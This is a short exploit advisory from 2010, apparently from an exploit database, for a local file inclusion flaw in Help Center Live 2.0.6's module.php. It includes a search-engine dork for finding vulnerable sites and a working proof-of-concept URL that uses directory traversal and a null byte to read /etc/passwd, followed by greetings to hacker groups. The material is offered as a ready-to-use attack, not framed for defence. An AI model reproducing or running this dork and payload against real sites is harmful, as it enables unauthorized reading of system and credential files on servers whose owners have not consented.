[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Help Center Live 2.0.6(module=helpcenter&file=) Local File Inclusion
# Published : 2010-04-27
# Author : 41.w4r10r
# Previous Title : Portaneo Portal v2.2.3 Remote Arbitrary File Upload Exploit
# Next Title : Openannuaire Openmairie Annuaire 2.00 (RFI/LFI) Multiple File Include Vulnerability
# Exploit Title: Help Center Live 2.0.6(module=helpcenter&file=) Local File
Inclusion
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork : inurl:"module=helpcenter"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
[+] Exploit
http://example.com/[path]/module.php?module=helpcenter&file=[LFI]
[+] POC :
http://localhost/hcl/module.php?module=helpcenter&file=../../../../../../../../etc/passwd%00
#41.w4r10r mailto:41.w4r10r@andhrahackers.com